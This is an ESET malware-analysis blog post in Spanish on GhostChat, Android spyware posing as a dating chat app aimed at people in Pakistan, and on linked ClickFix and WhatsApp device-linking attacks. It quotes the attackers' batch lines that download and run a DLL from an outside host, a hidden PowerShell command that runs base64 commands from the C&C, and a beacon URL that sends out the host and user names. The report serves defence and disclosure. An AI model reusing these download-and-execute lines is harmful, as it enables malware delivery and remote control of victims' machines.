Los investigadores de ESET descubrieron una campaña de spyware para Android que aprovecha tácticas de estafa romántica para captar personas de Pakistán. La campaña utiliza una aplicación maliciosa que se hace pasar por una plataforma de chat que permite a los usuarios iniciar conversaciones con determinados perfiles femeninos que, en realidad, serían cuentas falsas operadas a través de WhatsApp.

Detrás de la fachada romántica, el verdadero propósito de la aplicación —a la que hemos llamado GhostChat— es la filtración de los datos de la víctima, tanto en la primera ejecución como de forma continua mientras la aplicación está instalada en el dispositivo.

La campaña utiliza un nivel de engaño que no habíamos observado en esquemas similares: los perfiles falsos de GhostChat se presentan a las víctimas potenciales como bloqueados y requieren un código de acceso. Sin embargo, estos códigos de acceso están hardcodeados en la aplicación, lo que evidencia que se trata solo de una táctica de ingeniería social para crear la impresión de “acceso exclusivo”. Aunque no sabemos cómo se distribuye la aplicación maliciosa, suponemos que esta táctica de exclusividad se utiliza como parte del señuelo, con los supuestos códigos de acceso distribuidos junto con la aplicación.

Una investigación más profunda reveló que el mismo actor de amenazas parece estar llevando a cabo una operación de espionaje más amplia, que incluye un ataque ClickFix que comprometió las computadoras de las víctimas y un ataque que aprovecha la función de vinculación de dispositivos de WhatsApp para obtener acceso a sus cuentas de WhatsApp, lo que amplía el alcance de la vigilancia. Estos ataques relacionados utilizaban como señuelo sitios web que se hacían pasar por organizaciones gubernamentales pakistaníes.

GhostChat, detectado por ESET como Android/Spy.GhostChat.A, nunca estuvo disponible en Google Play. Como socio de App Defense Alliance, compartimos nuestros hallazgos con Google. Los usuarios de Android están protegidos automáticamente contra las versiones conocidas de este spyware por Google Play Protect, que está activado por defecto en los dispositivos Android con Google Play Services.

Puntos clave de este blogpost:
  • Los investigadores de ESET descubrieron una campaña de spyware para Android que utiliza tácticas de estafa romántica para dirigirse a personas de Pakistán.
  • GhostChat, la aplicación maliciosa utilizada en la campaña, se hace pasar por una plataforma de chat de citas con perfiles femeninos aparentemente bloqueados con códigos de acceso que, en realidiad están harcodeados en la aplicación; se trata sólo de un truco para crear la impresión de acceso exclusivo.
  • Una vez instalado, el spyware GhostChat habilita la vigilancia encubierta, que permite al actor de la amenaza monitorizar la actividad del dispositivo y filtrar datos confidenciales.
  • Nuestra investigación reveló otras actividades llevadas a cabo por el mismo actor de la amenaza: un ataque relacionado con ClickFix, que engaña a los usuarios para que ejecuten código malicioso en sus computadoras; y un ataque a WhatsApp que aprovecha la función de vinculación de dispositivos de la aplicación para acceder a los mensajes personales de las víctimas.

Resumen

El 11 de septiembre de 2025, una aplicación Android sospechosa fue subida a VirusTotal desde Pakistán. Nuestro análisis reveló que, aunque la aplicación utiliza el icono de una aplicación de citas legítima, carece de la funcionalidad de la aplicación original y, en su lugar, sirve como señuelo —y herramienta— para el espionaje móvil.

La aplicación maliciosa, a la que hemos llamado GhostChat, nunca ha estado disponible en Google Play y requería la instalación manual por parte de los usuarios, que tenían que habilitar los permisos para instalar aplicaciones de fuentes desconocidas. Una vez instalada la aplicación, sus operadores pueden monitorizar y extraer datos confidenciales del dispositivo de la víctima.

Aunque la campaña parece estar centrada en Pakistán, actualmente carecemos de pruebas suficientes para atribuirla a un actor de amenazas específico.

Flujo del ataque

Como se ilustra en la Figura 1, el ataque comienza con la distribución de GhostChat, una aplicación maliciosa para Android (nombre del paquete com.datingbatch.chatapp) disfrazada para aparecer como una plataforma de chat legítima llamada Dating Apps sin pago; esta aplicación legítima está disponible en Google Play y no está relacionada con GhostChat más que a través de esta última utilizando su icono. El origen y el modo de distribución de Ghostchat siguen siendo desconocidos.

Figure 1. GhostChat attack flow
Figura 1. Flujo de ataque de GhostChat

Tras su ejecución, GhostChat solicita varios permisos, como se puede ver en la Figura 2. Una vez concedidos los permisos, la aplicación presenta al usuario una pantalla de inicio de sesión. Para continuar, las víctimas deben introducir sus credenciales de inicio de sesión, como se muestra en la Figura 3.

Figure 2. GhostChat requests several permissions upon execution
Figura 2. GhostChat solicita varios permisos al ejecutarse
Figure 3. GhostChat’s login screen
Figura 3. Pantalla de inicio de sesión de GhostChat

Al contrario de cómo funcionaría normalmente una verificación legítima, las credenciales están hardcodeadas en el código de la aplicación, como se ve en la Figura 4, y no son procesadas por ningún servidor. Esto implica que tanto la aplicación como las credenciales se distribuyen juntas, probablemente por el actor de la amenaza.

Figure 4. Hardcoded credentials in the app’s code (username chat password 12345)
Figura 4. Credenciales codificadas en el código de la aplicación (nombre de usuario: chat; contraseña: 12345)

Una vez iniciada la sesión, a las víctimas se les presenta una selección de 14 perfiles femeninos, cada uno de ellos con foto, nombre y edad. Todos los perfiles están marcados como Bloqueados, y al pulsar sobre uno de ellos se pide a la víctima que introduzca un código de desbloqueo, como se ve en la Figura 5.

Figure 5. Chatting requires an unlock code
Figura 5. El chat requiere un código de desbloqueo

Estos códigos de desbloqueo también están hardcodeados y no se validan de forma remota, lo que sugiere que probablemente se comparten previamente con la víctima. Cada perfil está vinculado a un número de WhatsApp específico con un código de país pakistaní (+92). Los números están integrados en la aplicación, como se ve en la figura 6, y no pueden modificarse a distancia. Esto sugiere que el operador posee varias tarjetas SIM pakistaníes o tiene acceso a un proveedor externo que las vende. El uso de números locales refuerza la ilusión de que los perfiles son personas reales establecidas en Pakistán, lo que aumenta la credibilidad de la estafa.

Al introducir el código correcto, la aplicación redirige al usuario a WhatsApp para iniciar una conversación con el número asignado, presumiblemente operado por el actor de la amenaza.

Figure 6. WhatsApp numbers, names, ages, and codes linked to each profile
Figura 6. Números de WhatsApp, nombres, edades y códigos vinculados a cada perfil

Mientras la víctima interactúa con la aplicación, incluso antes de iniciar sesión, el spyware GhostChat se ejecuta en segundo plano y supervisa silenciosamente la actividad del dispositivo y filtra datos confidenciales a un servidor de C&C; véase la figura 7.

Figure 7. File exfiltration to C&C server (in the green outline)
Figura 7. Exfiltración de archivos al servidor de C&C (en el contorno verde)

Más allá de la exfiltración inicial, GhostChat se dedica al espionaje activo: configura un observador de contenidos para supervisar las imágenes recién creadas y las carga a medida que aparecen. Además, programa una tarea periódica que busca nuevos documentos cada cinco minutos, lo que garantiza la vigilancia continua y la recopilación de datos.

La exfiltración inicial de datos incluye el ID del dispositivo, la lista de contactos en forma de archivo .txt (subido al servidor C&C desde la caché de la aplicación) y los archivos almacenados en el dispositivo (imágenes, PDF, archivos Word, Excel, PowerPoint y formatos de archivo Open XML).

Actividades relacionadas

Durante nuestra investigación, identificamos actividades relacionadas y descubrimos una conexión: un archivo DLL, como se ilustra en la Figura 8.

Figure 8. Overview of the related activities revealed by the investigation
Figura 8. Resumen de las actividades relacionadas reveladas por la investigación

Un análisis más detallado del servidor de C&C utilizado por GhostChat reveló tres archivos adicionales que se comunicaban con el mismo servidor y que se subieron a VirusTotal; véase la Figura 9. Estos archivos incluyen dos scripts por lotes y un archivo DLL. Se trata de dos scripts por lotes y un archivo DLL.

Figure 9. Malicious files communicating with the same C&C server
Figura 9. Archivos maliciosos comunicándose con el mismo servidor C&C

Los archivos batch estaban diseñados para descargar y ejecutar un payload DLL desde la URL https://hitpak.org/notepad2[.]dll. En el momento del análisis, la DLL ya no estaba disponible en el servidor, pero la intención era claramente entregar y ejecutar malware en la máquina de la víctima. A continuación se muestra un fragmento del script:

echo powershell -Command “Invoke-WebRequest -Uri 'https://hitpak[.]org/notepad2.dll' -OutFile '%TEMP%\notepad2.dll'"
echo timeout /t 10
echo rundll32.exe “%TEMP%\notepad2.dll”,notepad

Ataque ClickFix

El tercer archivo —un archivo DLL alojado en https://foxy580.github[.]io/koko/file.dll— sirvió como carga útil en otro ataque basado en ClickFix. ClickFix es una técnica de ingeniería social que engaña a los usuarios para que ejecuten manualmente código malicioso en sus dispositivos siguiendo instrucciones aparentemente legítimas. ClickFix se basa en la interacción del usuario —a menudo a través de sitios web engañosos o falsas alertas— para guiar a las víctimas en la descarga y ejecución de scripts maliciosos. Este ataque utilizó un sitio web falso que se hacía pasar por el Equipo de Respuesta ante Emergencias Informáticas de Pakistán (PKCERT), ubicado en https://buildthenations[.]info/PKCERT/pkcert.html, como se muestra en la Figura 10.

Figure 10. Deceptive website impersonating Pakistan’s Computer Emergency Response Team
Figura 10. Sitio web engañoso que suplanta al Equipo de Respuesta a Emergencias Informáticas de Pakistán

El sitio mostraba una advertencia de seguridad inventada que supuestamente afectaba a infraestructuras nacionales y redes gubernamentales, e instaba a los usuarios a hacer clic en un botón Update. Esta acción activaba las instrucciones ClickFix, como se ve en la Figura 11, que conducían a la descarga y ejecución de la DLL maliciosa. La campaña fue identificada públicamente por un autodenominado investigador de seguridad __0XYC__ en X.

Figure 11. ClickFix instructions
Figura 11. Instrucciones ClickFix (fuente: https://x.com/__0XYC__/status/1972166420403572852/photo/1)

Archivo.dll

El payload DLL utilizado en la campaña ClickFix muestra un comportamiento clásico de C&C centrado en la ejecución remota de código. Una vez cargada, la DLL inicia la comunicación con su servidor de C&C enviando el nombre de usuario y el nombre de equipo comprometido a:

https://hitpak[.]org/page.php?tynor=<ComputerName>sss<Username>.

Si la DLL no consigue recuperar ni el nombre de usuario ni el nombre del equipo, los reemplaza por marcadores de posición predeterminados (UnUsr probablemente para usuario desconocido y UPC para equipo desconocido), asegurándose de que la solicitud llega al servidor.

Tras este intercambio inicial, la DLL entra en un bucle continuo, realizando peticiones al servidor de C&C cada cinco minutos, en espera de instrucciones. El servidor responde con un comando PowerShell codificado en base64, que la DLL ejecuta utilizando el siguiente método:

powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command “[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('<data_from_C&C>')) | Invoke-Expression"

Este enfoque permite al operador ejecutar comandos PowerShell arbitrarios en el equipo de la víctima sin activar alertas visibles, aprovechando la flexibilidad y las capacidades de ocultación de PowerShell.

En el momento del análisis, el servidor de C&C no respondió con ningún payload de PowerShell, lo que sugiere que la campaña se encontraba en una fase inactiva o que el servidor estaba esperando identificadores específicos de la víctima antes de emitir los comandos.

Ataque de enlace a WhatsApp

Además del ataque ClickFix que apuntaba a equipos de escritorio, el dominio buildthenations[.]info se utilizó en una operación dirigida a usuarios de WhatsApp. Se atraía a las víctimas para que se unieran a una supuesta comunidad —que se hacía pasar por un canal del Ministerio de Defensa de Pakistán (figura 12)— escaneando un código QR para vincular su dispositivo Android o iPhone a WhatsApp Web o de escritorio.

Figure 12. Lure to link mobile device to threat actor’s WhatsApp
Figura 12. Señuelo para vincular el dispositivo móvil al WhatsApp del actor de la amenaza

Conocida como GhostPairing, esta técnica permite al adversario acceder al historial de chat y a los contactos de la víctima, adquiriendo el mismo nivel de visibilidad y control sobre la cuenta que el propietario, comprometiendo de forma efectiva sus comunicaciones privadas. Esta no es la primera vez que vemos a actores de amenazas intentando secuestrar las cuentas de mensajería de las víctimas. En 2023, el grupo APT GREF, alineado con China, utilizó el malware BadBazaar para Android con el fin de vincular de forma automática y secreta las cuentas Signal de las víctimas al dispositivo del atacante, lo que le permitió espiar las comunicaciones Signal de sus víctimas.

Tras escanear el código QR presentado por el falso sitio web del Ministerio de Defensa, la víctima observará, como era de esperar, que un nuevo dispositivo había sido vinculado a sus cuentas de WhatsApp. Transcurrido un tiempo, WhatsApp también envía notificaciones a las víctimas, alertándolas de que un nuevo dispositivo había sido vinculado a sus cuentas, tal y como se observa en la Figura 13.

Figure 13. WhatsApp notification
Figura 13. Al cabo de dos horas, WhatsApp envió una notificación informando al usuario de que su cuenta había sido vinculada a otro dispositivo

En conjunto, estos resultados sugieren una campaña coordinada y multiplataforma que combina ingeniería social, distribución de malware y espionaje en entornos móviles y de escritorio.

Conclusión

Esta investigación revela una campaña de espionaje muy selectiva y polifacética dirigida a usuarios de Pakistán. Su núcleo es una aplicación maliciosa para Android disfrazada de aplicación de chat, que emplea una novedosa táctica de estafa romántica que requiere credenciales y códigos de desbloqueo para iniciar la comunicación, un nivel de esfuerzo y personalización poco habitual en las amenazas móviles.

Una vez instalada, la aplicación extrae datos confidenciales de forma silenciosa y vigila activamente el dispositivo en busca de nuevos contenidos, lo que confirma su papel como herramienta de vigilancia móvil. La campaña también está conectada a una infraestructura más amplia que implica la distribución de malware basado en ClickFix y técnicas de secuestro de cuentas de WhatsApp. Estas operaciones aprovechan sitios web falsos, la suplantación de autoridades nacionales y la vinculación engañosa de dispositivos mediante códigos QR para comprometer tanto plataformas de escritorio como móviles.

Para cualquier consulta sobre nuestra investigación publicada en WeLiveSecurity, por favor contáctenos en threatintel@eset.com.
ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la página de ESET Threat Intelligence.

IoCs

Puede encontrar una lista completa de indicadores de compromiso (IoCs) y muestras en nuestro repositorio GitHub.

Archivos

SHA-1 Filename Detection Description
B15B1F3F2227EBA4B69C85BDB638DF34B9D30B6A Live Chat.apk Android/Spy.GhostChat.A Android GhostChat spyware.
8B103D0AA37E5297143E21949471FD4F6B2ECBAA file.dll Win64/Agent.HEM Windows payload that executes PowerShell commands from the C&C.

Red

IP Domain Hosting provider First seen Details
188.114.96[.]10 hitpak[.]org Cloudflare, Inc. 2024‑12‑16 Distribution and C&C server.

Técnicas ATT&CK de MITRE

Esta tabla se construyó utilizando la versión 17 de las técnicas móviles ATT&CK de MITRE.

Tactic ID Name Description
Persistence T1398 Boot or Logon Initialization Scripts GhostChat receives the BOOT_COMPLETED broadcast intent to activate at device startup.
T1541 Foreground Persistence GhostChat uses foreground persistence to keep a service running.
Discovery T1426 System Information Discovery GhostChat can extract the device ID.
Collection T1533 Data from Local System GhostChat can exfiltrate files from a device.
T1636.003 Protected User Data: Contact List GhostChat can extract the device’s contact list.
Command and Control T1437.001 Application Layer Protocol: Web Protocols GhostChat can communicate with the C&C using HTTPS requests.
Exfiltration T1646 Exfiltration Over C2 Channel GhostChat exfiltrates data using HTTPS.

Esta tabla se ha creado utilizando la versión 17 de las técnicas ATT&CK para empresas de MITRE.

Tactic ID Name Description
Execution T1059.001 Command and Scripting Interpreter: PowerShell Windows agent can execute PowerShell commands received from the C&C server.
Discovery T1082 System Information Discovery Windows agent collects the computer name.
T1033 System Owner/User Discovery Windows agent collects the username.
Command and Control T1071.001 Application Layer Protocol: Web Protocols Windows agent can communicate with the C&C using HTTPS requests.
T1132.001 Data Encoding: Standard Encoding Windows agent receives base64 encoded PowerShell commands to execute.